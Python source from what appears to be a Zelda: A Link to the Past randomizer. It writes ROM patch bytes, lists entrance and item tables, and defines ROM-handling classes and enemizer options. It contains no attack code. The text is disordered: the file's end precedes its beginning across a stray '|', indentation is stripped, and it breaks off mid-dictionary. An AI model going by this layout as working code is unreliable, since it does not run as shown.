write_int16(rom, snes_to_pc(0x02E8F7), 0x01F8)
rom.write_byte(snes_to_pc(0x08D40C), 0xD0) # morph proof
# the following bytes should only be written in vanilla
# or they'll overwrite the randomizer's shuffles
if world.shuffle[player] == 'vanilla':
rom.write_byte(0xDBB73 + 0x23, 0x37) # switch AT and GT
rom.write_byte(0xDBB73 + 0x36, 0x24)
write_int16(rom, 0x15AEE + 2*0x38, 0x00E0)
write_int16(rom, 0x15AEE + 2*0x25, 0x000C)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(0x15B8C, 0x6C)
rom.write_byte(0xDBB73 + 0x00, 0x53) # switch bomb shop and links house
rom.write_byte(0xDBB73 + 0x52, 0x01)
rom.write_byte(0xDBB73 + 0x15, 0x06) # bumper and old man cave
write_int16(rom, 0x15AEE + 2*0x17, 0x00F0)
rom.write_byte(0xDBB73 + 0x05, 0x16)
write_int16(rom, 0x15AEE + 2*0x07, 0x00FB)
rom.write_byte(0xDBB73 + 0x2D, 0x17)
write_int16(rom, 0x15AEE + 2*0x2F, 0x00EB)
rom.write_byte(0xDBB73 + 0x06, 0x2E)
write_int16(rom, 0x15AEE + 2*0x08, 0x00E6)
rom.write_byte(0xDBB73 + 0x16, 0x5E)
rom.write_byte(0xDBB73 + 0x6F, 0x07) # DDM fairy to old man cave
write_int16(rom, 0x15AEE + 2*0x18, 0x00F1)
rom.write_byte(0x15B8C + 0x18, 0x43)
write_int16(rom, 0x15BDB + 2 * 0x18, 0x1400)
write_int16(rom, 0x15C79 + 2 * 0x18, 0x0294)
write_int16(rom, 0x15D17 + 2 * 0x18, 0x0600)
write_int16(rom, 0x15DB5 + 2 * 0x18, 0x02E8)
write_int16(rom, 0x15E53 + 2 * 0x18, 0x0678)
write_int16(rom, 0x15EF1 + 2 * 0x18, 0x0303)
write_int16(rom, 0x15F8F + 2 * 0x18, 0x0685)
rom.write_byte(0x1602D + 0x18, 0x0A)
rom.write_byte(0x1607C + 0x18, 0xF6)
write_int16(rom, 0x160CB + 2 * 0x18, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x18, 0x0000)
write_int16(rom, 0x15AEE + 2 * 0x3D, 0x0003) # pyramid exit and houlihan
rom.write_byte(0x15B8C + 0x3D, 0x5B)
write_int16(rom, 0x15BDB + 2 * 0x3D, 0x0B0E)
write_int16(rom, 0x15C79 + 2 * 0x3D, 0x075A)
write_int16(rom, 0x15D17 + 2 * 0x3D, 0x0674)
write_int16(rom, 0x15DB5 + 2 * 0x3D, 0x07A8)
write_int16(rom, 0x15E53 + 2 * 0x3D, 0x06E8)
write_int16(rom, 0x15EF1 + 2 * 0x3D, 0x07C7)
write_int16(rom, 0x15F8F + 2 * 0x3D, 0x06F3)
rom.write_byte(0x1602D + 0x3D, 0x06)
rom.write_byte(0x1607C + 0x3D, 0xFA)
write_int16(rom, 0x160CB + 2 * 0x3D, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x3D, 0x0000)
write_int16(rom, snes_to_pc(0x02D8D4), 0x112) # change sactuary spawn point to dark sanc
rom.write_bytes(snes_to_pc(0x02D8E8), [0x22, 0x22, 0x22, 0x23, 0x04, 0x04, 0x04, 0x05])
write_int16(rom, snes_to_pc(0x02D91A), 0x0400)
write_int16(rom, snes_to_pc(0x02D928), 0x222E)
write_int16(rom, snes_to_pc(0x02D936), 0x229A)
write_int16(rom, snes_to_pc(0x02D944), 0x0480)
write_int16(rom, snes_to_pc(0x02D952), 0x00A5)
write_int16(rom, snes_to_pc(0x02D960), 0x007F)
rom.write_byte(snes_to_pc(0x02D96D), 0x14)
rom.write_byte(snes_to_pc(0x02D974), 0x00)
rom.write_byte(snes_to_pc(0x02D97B), 0xFF)
rom.write_byte(snes_to_pc(0x02D982), 0x00)
rom.write_byte(snes_to_pc(0x02D989), 0x02)
rom.write_byte(snes_to_pc(0x02D990), 0x00)
write_int16(rom, snes_to_pc(0x02D998), 0x0000)
write_int16(rom, snes_to_pc(0x02D9A6), 0x005A)
rom.write_byte(snes_to_pc(0x02D9B3), 0x12)
# keep the old man spawn point at old man house unless shuffle is vanilla
if world.shuffle[player] in ['vanilla', 'dungeonsfull', 'dungeonssimple']:
rom.write_bytes(snes_to_pc(0x308350), [0x00, 0x00, 0x01])
write_int16(rom, snes_to_pc(0x02D8DE), 0x00F1)
rom.write_bytes(snes_to_pc(0x02D910), [0x1F, 0x1E, 0x1F, 0x1F, 0x03, 0x02, 0x03, 0x03])
write_int16(rom, snes_to_pc(0x02D924), 0x0300)
write_int16(rom, snes_to_pc(0x02D932), 0x1F10)
write_int16(rom, snes_to_pc(0x02D940), 0x1FC0)
write_int16(rom, snes_to_pc(0x02D94E), 0x0378)
write_int16(rom, snes_to_pc(0x02D95C), 0x0187)
write_int16(rom, snes_to_pc(0x02D96A), 0x017F)
rom.write_byte(snes_to_pc(0x02D972), 0x06)
rom.write_byte(snes_to_pc(0x02D979), 0x00)
rom.write_byte(snes_to_pc(0x02D980), 0xFF)
rom.write_byte(snes_to_pc(0x02D987), 0x00)
rom.write_byte(snes_to_pc(0x02D98E), 0x22)
rom.write_byte(snes_to_pc(0x02D995), 0x12)
write_int16(rom, snes_to_pc(0x02D9A2), 0x0000)
write_int16(rom, snes_to_pc(0x02D9B0), 0x0007)
rom.write_byte(snes_to_pc(0x02D9B8), 0x12)
rom.write_bytes(0x180247, [0x00, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00])
write_int16(rom, 0x15AEE + 2 * 0x06, 0x0020) # post aga hyrule castle spawn
rom.write_byte(0x15B8C + 0x06, 0x1B)
write_int16(rom, 0x15BDB + 2 * 0x06, 0x00AE)
write_int16(rom, 0x15C79 + 2 * 0x06, 0x0610)
write_int16(rom, 0x15D17 + 2 * 0x06, 0x077E)
write_int16(rom, 0x15DB5 + 2 * 0x06, 0x0672)
write_int16(rom, 0x15E53 + 2 * 0x06, 0x07F8)
write_int16(rom, 0x15EF1 + 2 * 0x06, 0x067D)
write_int16(rom, 0x15F8F + 2 * 0x06, 0x0803)
rom.write_byte(0x1602D + 0x06, 0x00)
rom.write_byte(0x1607C + 0x06, 0xF2)
write_int16(rom, 0x160CB + 2 * 0x06, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x06, 0x0000)
write_int16(rom, snes_to_pc(0x02E87B), 0x00AE) # move flute splot 9
write_int16(rom, snes_to_pc(0x02E89D), 0x0610)
write_int16(rom, snes_to_pc(0x02E8BF), 0x077E)
write_int16(rom, snes_to_pc(0x02E8E1), 0x0672)
write_int16(rom, snes_to_pc(0x02E903), 0x07F8)
write_int16(rom, snes_to_pc(0x02E925), 0x067D)
write_int16(rom, snes_to_pc(0x02E947), 0x0803)
write_int16(rom, snes_to_pc(0x02E969), 0x0000)
write_int16(rom, snes_to_pc(0x02E98B), 0xFFF2)
rom.write_byte(snes_to_pc(0x1AF696), 0xF0) # bat sprite retreat
rom.write_byte(snes_to_pc(0x1AF6B2), 0x33)
rom.write_bytes(snes_to_pc(0x1AF730), [0x6A, 0x9E, 0x0C, 0x00, 0x7A, 0x9E, 0x0C,
0x00, 0x8A, 0x9E, 0x0C, 0x00, 0x6A, 0xAE,
0x0C, 0x00, 0x7A, 0xAE, 0x0C, 0x00, 0x8A,
0xAE, 0x0C, 0x00, 0x67, 0x97, 0x0C, 0x00,
0x8D, 0x97, 0x0C, 0x00])
write_int16s(rom, snes_to_pc(0x0FF1C8), [0x190F, 0x190F, 0x190F, 0x194C, 0x190F,
0x194B, 0x190F, 0x195C, 0x594B, 0x194C,
0x19EE, 0x19EE, 0x194B, 0x19EE, 0x19EE,
0x19EE, 0x594B, 0x190F, 0x595C, 0x190F,
0x190F, 0x195B, 0x190F, 0x190F, 0x19EE,
0x19EE, 0x195C, 0x19EE, 0x19EE, 0x19EE,
0x19EE, 0x595C, 0x595B, 0x190F, 0x190F,
0x190F])
write_int16s(rom, snes_to_pc(0x0FA480), [0x190F, 0x196B, 0x9D04, 0x9D04, 0x196B,
0x190F, 0x9D04, 0x9D04])
write_int16s(rom, snes_to_pc(0x1bb810), [0x00BE, 0x00C0, 0x013E])
write_int16s(rom, snes_to_pc(0x1bb836), [0x001B, 0x001B, 0x001B])
write_int16(rom, snes_to_pc(0x308300), 0x0140) # new pyramid hole entrance
write_int16(rom, snes_to_pc(0x308320), 0x001B)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(snes_to_pc(0x308340), 0x7B)
write_int16(rom, snes_to_pc(0x1af504), 0x148B)
write_int16(rom, snes_to_pc(0x1af50c), 0x149B)
write_int16(rom, snes_to_pc(0x1af514), 0x14A4)
write_int16(rom, snes_to_pc(0x1af51c), 0x1489)
write_int16(rom, snes_to_pc(0x1af524), 0x14AC)
write_int16(rom, snes_to_pc(0x1af52c), 0x54AC)
write_int16(rom, snes_to_pc(0x1af534), 0x148C)
write_int16(rom, snes_to_pc(0x1af53c), 0x548C)
write_int16(rom, snes_to_pc(0x1af544), 0x1484)
write_int16(rom, snes_to_pc(0x1af54c), 0x5484)
write_int16(rom, snes_to_pc(0x1af554), 0x14A2)
write_int16(rom, snes_to_pc(0x1af55c), 0x54A2)
write_int16(rom, snes_to_pc(0x1af564), 0x14A0)
write_int16(rom, snes_to_pc(0x1af56c), 0x54A0)
write_int16(rom, snes_to_pc(0x1af574), 0x148E)
write_int16(rom, snes_to_pc(0x1af57c), 0x548E)
write_int16(rom, snes_to_pc(0x1af584), 0x14AE)
write_int16(rom, snes_to_pc(0x1af58c), 0x54AE)
rom.write_byte(snes_to_pc(0x00DB9D), 0x1A) # castle hole graphics
rom.write_byte(snes_to_pc(0x00DC09), 0x1A)
rom.write_byte(snes_to_pc(0x00D009), 0x31)
rom.write_byte(snes_to_pc(0x00D0e8), 0xE0)
rom.write_byte(snes_to_pc(0x00D1c7), 0x00)
write_int16(rom, snes_to_pc(0x1BE8DA), 0x39AD)
rom.write_byte(0xF6E58, 0x80) # no whirlpool under castle gate
rom.write_bytes(0x0086E, [0x5C, 0x00, 0xA0, 0xA1]) # TR tail
rom.write_bytes(snes_to_pc(0x1BC67A), [0x2E, 0x0B, 0x82]) # add warps under rocks
rom.write_bytes(snes_to_pc(0x1BC81E), [0x94, 0x1D, 0x82])
rom.write_bytes(snes_to_pc(0x1BC655), [0x4A, 0x1D, 0x82])
rom.write_bytes(snes_to_pc(0x1BC80D), [0xB2, 0x0B, 0x82])
rom.write_bytes(snes_to_pc(0x1BC3DF), [0xD8, 0xD1])
rom.write_bytes(snes_to_pc(0x1BD1D8), [0xA8, 0x02, 0x82, 0xFF, 0xFF])
rom.write_bytes(snes_to_pc(0x1BC85A), [0x50, 0x0F, 0x82])
write_int16(rom, 0xDB96F + 2 * 0x35, 0x001B) # move pyramid exit door
write_int16(rom, 0xDBA71 + 2 * 0x35, 0x06A4)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(0xDBB73 + 0x35, 0x36)
rom.write_byte(snes_to_pc(0x09D436), 0xF3) # remove castle gate warp
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
write_int16(rom, 0x15AEE + 2 * 0x37, 0x0010) # pyramid exit to new hc area
rom.write_byte(0x15B8C + 0x37, 0x1B)
write_int16(rom, 0x15BDB + 2 * 0x37, 0x0418)
write_int16(rom, 0x15C79 + 2 * 0x37, 0x0679)
write_int16(rom, 0x15D17 + 2 * 0x37, 0x06B4)
write_int16(rom, 0x15DB5 + 2 * 0x37, 0x06C6)
write_int16(rom, 0x15E53 + 2 * 0x37, 0x0738)
write_int16(rom, 0x15EF1 + 2 * 0x37, 0x06E6)
write_int16(rom, 0x15F8F + 2 * 0x37, 0x0733)
rom.write_byte(0x1602D + 0x37, 0x07)
rom.write_byte(0x1607C + 0x37, 0xF9)
write_int16(rom, 0x160CB + 2 * 0x37, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x37, 0x0000)
rom.write_bytes(snes_to_pc(0x1BC387), [0xDD, 0xD1])
rom.write_bytes(snes_to_pc(0x1BD1DD), [0xA4, 0x06, 0x82, 0x9E, 0x06, 0x82, 0xFF, 0xFF])
rom.write_byte(0x180089, 0x01) # open TR after exit
rom.write_byte(snes_to_pc(0x0ABFBB), 0x90)
rom.write_byte(snes_to_pc(0x0280A6), 0xD0)
rom.write_bytes(snes_to_pc(0x06B2AB), [0xF0, 0xE1, 0x05])
def patch_shuffled_dark_sanc(world, rom, player):
dark_sanc_entrance = str(world.get_region('Inverted Dark Sanctuary', player).entrances[0].name)
room_id, ow_area, vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x, unknown_1, unknown_2, door_1, door_2 = door_addresses[dark_sanc_entrance][1]
door_index = door_addresses[str(dark_sanc_entrance)][0]
rom.write_byte(0x180241, 0x01)
rom.write_byte(0x180248, door_index + 1)
write_int16(rom, 0x180250, room_id)
rom.write_byte(0x180252, ow_area)
write_int16s(rom, 0x180253, [vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x])
rom.write_bytes(0x180262, [unknown_1, unknown_2, 0x00])
InconvenientDungeonEntrances = {'Turtle Rock': 'Turtle Rock Main',
'Misery Mire': 'Misery Mire',
'Ice Palace': 'Ice Palace',
'Skull Woods Final Section': 'The back of Skull Woods',
}
InconvenientOtherEntrances = {'Death Mountain Return Cave (West)': 'The SW DM foothills cave',
'Mimic Cave': 'Mimic Ledge',
'Dark World Hammer Peg Cave': 'The rows of pegs',
'Pyramid Fairy': 'The crack on the pyramid'
}
ConnectorEntrances = {'Elder House (East)': 'Elder House',
'Elder House (West)': 'Elder House',
'Two Brothers House (East)': 'Eastern Quarreling Brothers\' house',
'Old Man Cave (West)': 'The lower DM entrance',
'Bumper Cave (Bottom)': 'The lower Bumper Cave',
'Superbunny Cave (Top)': 'The summit of dark DM cave',
'Superbunny Cave (Bottom)': 'The base of east dark DM',
'Hookshot Cave': 'The rock on dark DM',
'Two Brothers House (West)': 'The door near the race game',
'Old Man Cave (East)': 'The SW-most cave on west DM',
'Old Man House (Bottom)': 'A cave with a door on west DM',
'Old Man House (Top)': 'The eastmost cave on west DM',
'Death Mountain Return Cave (East)': 'The westmost cave on west DM',
'Spectacle Rock Cave Peak': 'The highest cave on west DM',
'Spectacle Rock Cave': 'The right ledge on west DM',
'Spectacle Rock Cave (Bottom)': 'The left ledge on west DM',
'Paradox Cave (Bottom)': 'The right paired cave on east DM',
'Paradox Cave (Middle)': 'The southmost cave on east DM',
'Paradox Cave (Top)': 'The east DM summit cave',
'Fairy Ascension Cave (Bottom)': 'The east DM cave behind rocks',
'Fairy Ascension Cave (Top)': 'The central ledge on east DM',
'Spiral Cave': 'The left ledge on east DM',
'Spiral Cave (Bottom)': 'The SWmost cave on east DM'
}
DungeonEntrances = {'Eastern Palace': 'Eastern Palace',
'Hyrule Castle Entrance (South)': 'The ground level castle door',
'Thieves Town': 'Thieves\' Town',
'Swamp Palace': 'Swamp Palace',
'Dark Death Mountain Ledge (West)': 'The East dark DM connector ledge',
'Dark Death Mountain Ledge (East)': 'The East dark DM connector ledge',
'Desert Palace Entrance (South)': 'The book sealed passage',
'Tower of Hera': 'The Tower of Hera',
'Palace of Darkness': 'Palace of Darkness',
'Hyrule Castle Entrance (West)': 'The left castle door',
'Hyrule Castle Entrance (East)': 'The right castle door',
'Desert Palace Entrance (West)': 'The westmost building in the desert',
'Desert Palace Entrance (North)': 'The northmost cave in the desert'
}
OtherEntrances = {'Blinds Hideout': 'Blind\'s old house',
'Lake Hylia Fairy': 'A cave NE of Lake Hylia',
'Light Hype Fairy': 'The cave south of your house',
'Desert Fairy': 'The cave near the desert',
'Chicken House': 'The chicken lady\'s house',
'Aginahs Cave': 'The open desert cave',
'Sahasrahlas Hut': 'The house near armos',
'Cave Shop (Lake Hylia)': 'The cave NW Lake Hylia',
'Blacksmiths Hut': 'The old smithery',
'Sick Kids House': 'The central house in Kakariko',
'Lost Woods Gamble': 'A tree trunk door',
'Fortune Teller (Light)': 'A building NE of Kakariko',
'Snitch Lady (East)': 'A house guarded by a snitch',
'Snitch Lady (West)': 'A house guarded by a snitch',
'Bush Covered House': 'A house with an uncut lawn',
'Tavern (Front)': 'A building with a backdoor',
'Light World Bomb Hut': 'A Kakariko building with no door',
'Kakariko Shop': 'The old Kakariko shop',
'Mini Moldorm Cave': 'The cave south of Lake Hylia',
'Long Fairy Cave': 'The eastmost portal cave',
'Good Bee Cave': 'The open cave SE Lake Hylia',
'20 Rupee Cave': 'The rock SE Lake Hylia',
'50 Rupee Cave': 'The rock near the desert',
'Ice Rod Cave': 'The sealed cave SE Lake Hylia',
'Library': 'The old library',
'Potion Shop': 'The witch\'s building',
'Dam': 'The old dam',
'Lumberjack House': 'The lumberjack house',
'Lake Hylia Fortune Teller': 'The building NW Lake Hylia',
'Kakariko Gamble Game': 'The old Kakariko gambling den',
'Waterfall of Wishing': 'Going behind the waterfall',
'Capacity Upgrade': 'The cave on the island',
'Bonk Rock Cave': 'The rock pile near Sanctuary',
'Graveyard Cave': 'The graveyard ledge',
'Checkerboard Cave': 'The NE desert ledge',
'Cave 45': 'The ledge south of haunted grove',
'Kings Grave': 'The northeastmost grave',
'Bonk Fairy (Light)': 'The rock pile near your home',
'Hookshot Fairy': 'The left paired cave on east DM',
'Bonk Fairy (Dark)': 'The rock pile near the old bomb shop',
'Dark Lake Hylia Fairy': 'The cave NE dark Lake Hylia',
'C-Shaped House': 'The NE house in Village of Outcasts',
'Dark Death Mountain Fairy': 'The SW cave on dark DM',
'Dark Lake Hylia Shop': 'The building NW dark Lake Hylia',
'Dark World Shop': 'The hammer sealed building',
'Red Shield Shop': 'The fenced in building',
'Mire Shed': 'The western hut in the mire',
'East Dark World Hint': 'The dark cave near the eastmost portal',
'Dark Desert Hint': 'The cave east of the mire',
'Spike Cave': 'The ledge cave on west dark DM',
'Palace of Darkness Hint': 'The building south of Kiki',
'Dark Lake Hylia Ledge Spike Cave': 'The rock SE dark Lake Hylia',
'Cave Shop (Dark Death Mountain)': 'The base of east dark DM',
'Dark World Potion Shop': 'The building near the catfish',
'Archery Game': 'The old archery game',
'Dark World Lumberjack Shop': 'The northmost Dark World building',
'Hype Cave': 'The cave south of the old bomb shop',
'Brewery': 'The Village of Outcasts building with no door',
'Dark Lake Hylia Ledge Hint': 'The open cave SE dark Lake Hylia',
'Chest Game': 'The westmost building in the Village of Outcasts',
'Dark Desert Fairy': 'The eastern hut in the mire',
'Dark Lake Hylia Ledge Fairy': 'The sealed cave SE dark Lake Hylia',
'Fortune Teller (Dark)': 'The building NE the Village of Outcasts'
}
InsanityEntrances = {'Sanctuary': 'Sanctuary',
'Lumberjack Tree Cave': 'The cave Behind Lumberjacks',
'Lost Woods Hideout Stump': 'The stump in Lost Woods',
'North Fairy Cave': 'The cave East of Graveyard',
'Bat Cave Cave': 'The cave in eastern Kakariko',
'Kakariko Well Cave': 'The cave in northern Kakariko',
'Hyrule Castle Secret Entrance Stairs': 'The tunnel near the castle',
'Skull Woods First Section Door': 'The southeastmost skull',
'Skull Woods Second Section Door (East)': 'The central open skull',
'Skull Woods Second Section Door (West)': 'The westmost open skull',
'Desert Palace Entrance (East)': 'The eastern building in the desert',
'Turtle Rock Isolated Ledge Entrance': 'The isolated ledge on east dark DM',
'Bumper Cave (Top)': 'The upper Bumper Cave',
'Hookshot Cave Back Entrance': 'The stairs on the floating island'
}
HintLocations = ['telepathic_tile_eastern_palace',
'telepathic_tile_tower_of_hera_floor_4',
'telepathic_tile_spectacle_rock',
'telepathic_tile_swamp_entrance',
'telepathic_tile_thieves_town_upstairs',
'telepathic_tile_misery_mire',
'telepathic_tile_palace_of_darkness',
'telepathic_tile_desert_bonk_torch_room',
'telepathic_tile_castle_tower',
'telepathic_tile_ice_large_room',
'telepathic_tile_turtle_rock',
'telepathic_tile_ice_entrace',
'telepathic_tile_ice_stalfos_knights_room',
'telepathic_tile_tower_of_hera_entrance',
'telepathic_tile_south_east_darkworld_cave',
'dark_palace_tree_dude',
'dark_sanctuary_hint_0',
'dark_sanctuary_hint_1',
'dark_sanctuary_yes',
'dark_sanctuary_hint_2']
InconvenientLocations = ['Spike Cave',
'Sahasrahla',
'Purple Chest',
'Swamp Left',
'Mire Left',
'Tower of Hera - Big Key Chest',
'Eastern Palace - Big Key Chest',
'Thieves\' Town - Big Chest',
'Ice Palace - Big Chest',
'Ganons Tower - Big Chest',
'Magic Bat']
InconvenientVanillaLocations = ['Graveyard Cave',
'Mimic Cave']
RelevantItems = ['Bow',
'Progressive Bow',
'Book of Mudora',
'Hammer',
'Hookshot',
'Magic Mirror',
'Flute',
'Pegasus Boots',
'Power Glove',
'Cape',
'Mushroom',
'Shovel',
'Lamp',
'Magic Powder',
'Moon Pearl',
'Cane of Somaria',
'Fire Rod',
'Flippers',
'Ice Rod',
'Titans Mitts',
'Ether',
'Bombos',
'Quake',
'Bottle',
'Bottle (Red Potion)',
'Bottle (Green Potion)',
'Bottle (Blue Potion)',
'Bottle (Fairy)',
'Bottle (Bee)',
'Bottle (Good Bee)',
'Master Sword',
'Tempered Sword',
'Fighter Sword',
'Golden Sword',
'Progressive Sword',
'Progressive Glove',
'Master Sword',
'Power Star',
'Triforce Piece',
'Single Arrow',
'Blue Mail',
'Red Mail',
'Progressive Armor',
'Blue Boomerang',
'Red Boomerang',
'Blue Shield',
'Red Shield',
'Mirror Shield',
'Progressive Shield',
'Bug Catching Net',
'Cane of Byrna',
'Magic Upgrade (1/2)',
'Magic Upgrade (1/4)'
]
SmallKeys = ['Small Key (Eastern Palace)',
'Small Key (Escape)',
'Small Key (Desert Palace)',
'Small Key (Tower of Hera)',
'Small Key (Agahnims Tower)',
'Small Key (Palace of Darkness)',
'Small Key (Thieves Town)',
'Small Key (Swamp Palace)',
'Small Key (Skull Woods)',
'Small Key (Ice Palace)',
'Small Key (Misery Mire)',
'Small Key (Turtle Rock)',
'Small Key (Ganons Tower)',
]
BigKeys = ['Big Key (Eastern Palace)',
'Big Key (Desert Palace)',
'Big Key (Tower of Hera)',
'Big Key (Palace of Darkness)',
'Big Key (Thieves Town)',
'Big Key (Swamp Palace)',
'Big Key (Skull Woods)',
'Big Key (Ice Palace)',
'Big Key (Misery Mire)',
'Big Key (Turtle Rock)',
'Big Key (Ganons Tower)'
]
hash_alphabet = [
"Bow", "Boomerang", "Hookshot", "Bomb", "Mushroom", "Powder", "Rod", "Pendant", "Bombos", "Ether", "Quake",
"Lamp", "Hammer", "Shovel", "Flute", "Bug Net", "Book", "Bottle", "Potion", "Cane", "Cape", "Mirror", "Boots",
"Gloves", "Flippers", "Pearl", "Shield", "Tunic", "Heart", "Map", "Compass", "Key"
]
| import bisect
import io
import json
import hashlib
import logging
import os
import random
import struct
import sys
import subprocess
from BaseClasses import CollectionState, ShopType, Region, Location
from Dungeons import dungeon_music_addresses
from Regions import location_table
from Text import MultiByteTextMapper, CompressedTextMapper, text_addresses, Credits, TextTable
from Text import Uncle_texts, Ganon1_texts, TavernMan_texts, Sahasrahla2_texts, Triforce_texts, Blind_texts, BombShop2_texts, junk_texts
from Text import KingsReturn_texts, Sanctuary_texts, Kakariko_texts, Blacksmiths_texts, DeathMountain_texts, LostWoods_texts, WishingWell_texts, DesertPalace_texts, MountainTower_texts, LinksHouse_texts, Lumberjacks_texts, SickKid_texts, FluteBoy_texts, Zora_texts, MagicShop_texts, Sahasrahla_names
from Utils import output_path, local_path, int16_as_bytes, int32_as_bytes, snes_to_pc
from Items import ItemFactory
from EntranceShuffle import door_addresses
JAP10HASH = '03a63945398191337e896e5771f77173'
# RANDOMIZERBASEHASH = '1907d4caccffe60fc69940cfa11b2dab'
class JsonRom(object):
def __init__(self, name=None, hash=None):
self.name = name
self.hash = hash
self.orig_buffer = None
self.patches = {}
self.addresses = []
def write_byte(self, address, value):
self.write_bytes(address, [value])
def write_bytes(self, startaddress, values):
if not values:
return
values = list(values)
pos = bisect.bisect_right(self.addresses, startaddress)
intervalstart = self.addresses[pos-1] if pos else None
intervalpatch = self.patches[str(intervalstart)] if pos else None
if pos and startaddress <= intervalstart + len(intervalpatch): # merge with previous segment
offset = startaddress - intervalstart
intervalpatch[offset:offset+len(values)] = values
startaddress = intervalstart
values = intervalpatch
else: # new segment
self.addresses.insert(pos, startaddress)
self.patches[str(startaddress)] = values
pos = pos + 1
while pos < len(self.addresses) and self.addresses[pos] <= startaddress + len(values): # merge the next segment into this one
intervalstart = self.addresses[pos]
values.extend(self.patches[str(intervalstart)][startaddress+len(values)-intervalstart:])
del self.patches[str(intervalstart)]
del self.addresses[pos]
def write_to_file(self, file):
with open(file, 'w') as stream:
json.dump([self.patches], stream)
def get_hash(self):
h = hashlib.md5()
h.update(json.dumps([self.patches]).encode('utf-8'))
return h.hexdigest()
class LocalRom(object):
def __init__(self, file, extendedmsu=False, patch=True, name=None, hash=None):
self.name = name
self.hash = hash
self.orig_buffer = None
self.extendedmsu = extendedmsu
with open(file, 'rb') as stream:
self.buffer = read_rom(stream)
if patch:
self.patch_base_rom(extendedmsu)
self.orig_buffer = self.buffer.copy()
def write_byte(self, address, value):
self.buffer[address] = value
def write_bytes(self, startaddress, values):
for i, value in enumerate(values):
self.write_byte(startaddress + i, value)
def write_to_file(self, file):
with open(file, 'wb') as outfile:
outfile.write(self.buffer)
@staticmethod
def fromJsonRom(rom, file, rom_size = 0x200000, extendedmsu=False):
ret = LocalRom(file, extendedmsu, True, rom.name, rom.hash)
ret.buffer.extend(bytearray([0x00]) * (rom_size - len(ret.buffer)))
for address, values in rom.patches.items():
ret.write_bytes(int(address), values)
return ret
def patch_base_rom(self, extendedmsu):
# verify correct checksum of baserom
basemd5 = hashlib.md5()
basemd5.update(self.buffer)
if JAP10HASH != basemd5.hexdigest():
logging.getLogger('').warning('Supplied Base Rom does not match known MD5 for JAP(1.0) release. Will try to patch anyway.')
# extend to 2MB
self.buffer.extend(bytearray([0x00]) * (0x200000 - len(self.buffer)))
# load randomizer patches
with open(local_path('data/base2current.json') if not extendedmsu else local_path('data/base2current_extendedmsu.json'), 'r') as stream:
patches = json.load(stream)
for patch in patches:
if isinstance(patch, dict):
for baseaddress, values in patch.items():
self.write_bytes(int(baseaddress), values)
# verify md5
# patchedmd5 = hashlib.md5()
# patchedmd5.update(self.buffer)
# if RANDOMIZERBASEHASH != patchedmd5.hexdigest():
# raise RuntimeError('Provided Base Rom unsuitable for patching. Please provide a JAP(1.0) "Zelda no Densetsu - Kamigami no Triforce (Japan).sfc" rom to use as a base.')
def write_crc(self):
crc = (sum(self.buffer[:0x7FDC] + self.buffer[0x7FE0:]) + 0x01FE) & 0xFFFF
inv = crc ^ 0xFFFF
self.write_bytes(0x7FDC, [inv & 0xFF, (inv >> 8) & 0xFF, crc & 0xFF, (crc >> 8) & 0xFF])
def get_hash(self):
h = hashlib.md5()
h.update(self.buffer)
return h.hexdigest()
def write_int16(rom, address, value):
rom.write_bytes(address, int16_as_bytes(value))
def write_int32(rom, address, value):
rom.write_bytes(address, int32_as_bytes(value))
def write_int16s(rom, startaddress, values):
for i, value in enumerate(values):
write_int16(rom, startaddress + (i * 2), value)
def write_int32s(rom, startaddress, values):
for i, value in enumerate(values):
write_int32(rom, startaddress + (i * 4), value)
def read_rom(stream):
"Reads rom into bytearray and strips off any smc header"
buffer = bytearray(stream.read())
if len(buffer)%0x400 == 0x200:
buffer = buffer[0x200:]
return buffer
def patch_enemizer(world, player, rom, baserom_path, enemizercli, shufflepots, random_sprite_on_hit, extendedmsu):
baserom_path = os.path.abspath(baserom_path)
basepatch_path = os.path.abspath(
local_path('data/base2current.json') if not extendedmsu else local_path('data/base2current_extendedmsu.json'))
enemizer_basepatch_path = os.path.join(os.path.dirname(enemizercli), "enemizerBasePatch.json")
randopatch_path = os.path.abspath(output_path(f'enemizer_randopatch_{player}.json'))
options_path = os.path.abspath(output_path(f'enemizer_options_{player}.json'))
enemizer_output_path = os.path.abspath(output_path(f'enemizer_output_{player}.json'))
# write options file for enemizer
options = {
'RandomizeEnemies': world.enemy_shuffle[player] != 'none',
'RandomizeEnemiesType': 3,
'RandomizeBushEnemyChance': world.enemy_shuffle[player] == 'chaos',
'RandomizeEnemyHealthRange': world.enemy_health[player] != 'default',
'RandomizeEnemyHealthType': {'default': 0, 'easy': 0, 'normal': 1, 'hard': 2, 'expert': 3}[
world.enemy_health[player]],
'OHKO': False,
'RandomizeEnemyDamage': world.enemy_damage[player] != 'default',
'AllowEnemyZeroDamage': True,
'ShuffleEnemyDamageGroups': world.enemy_damage[player] != 'default',
'EnemyDamageChaosMode': world.enemy_damage[player] == 'chaos',
'EasyModeEscape': False,
'EnemiesAbsorbable': False,
'AbsorbableSpawnRate': 10,
'AbsorbableTypes': {
'FullMagic': True, 'SmallMagic': True, 'Bomb_1': True, 'BlueRupee': True, 'Heart': True, 'BigKey': True, 'Key': True,
'Fairy': True, 'Arrow_10': True, 'Arrow_5': True, 'Bomb_8': True, 'Bomb_4': True, 'GreenRupee': True, 'RedRupee': True
},
'BossMadness': False,
'RandomizeBosses': True,
'RandomizeBossesType': 0,
'RandomizeBossHealth': False,
'RandomizeBossHealthMinAmount': 0,
'RandomizeBossHealthMaxAmount': 300,
'RandomizeBossDamage': False,
'RandomizeBossDamageMinAmount': 0,
'RandomizeBossDamageMaxAmount': 200,
'RandomizeBossBehavior': False,
'RandomizeDungeonPalettes': False,
'SetBlackoutMode': False,
'RandomizeOverworldPalettes': False,
'RandomizeSpritePalettes': False,
'SetAdvancedSpritePalettes': False,
'PukeMode': False,
'NegativeMode': False,
'GrayscaleMode': False,
'GenerateSpoilers': False,
'RandomizeLinkSpritePalette': False,
'RandomizePots': shufflepots,
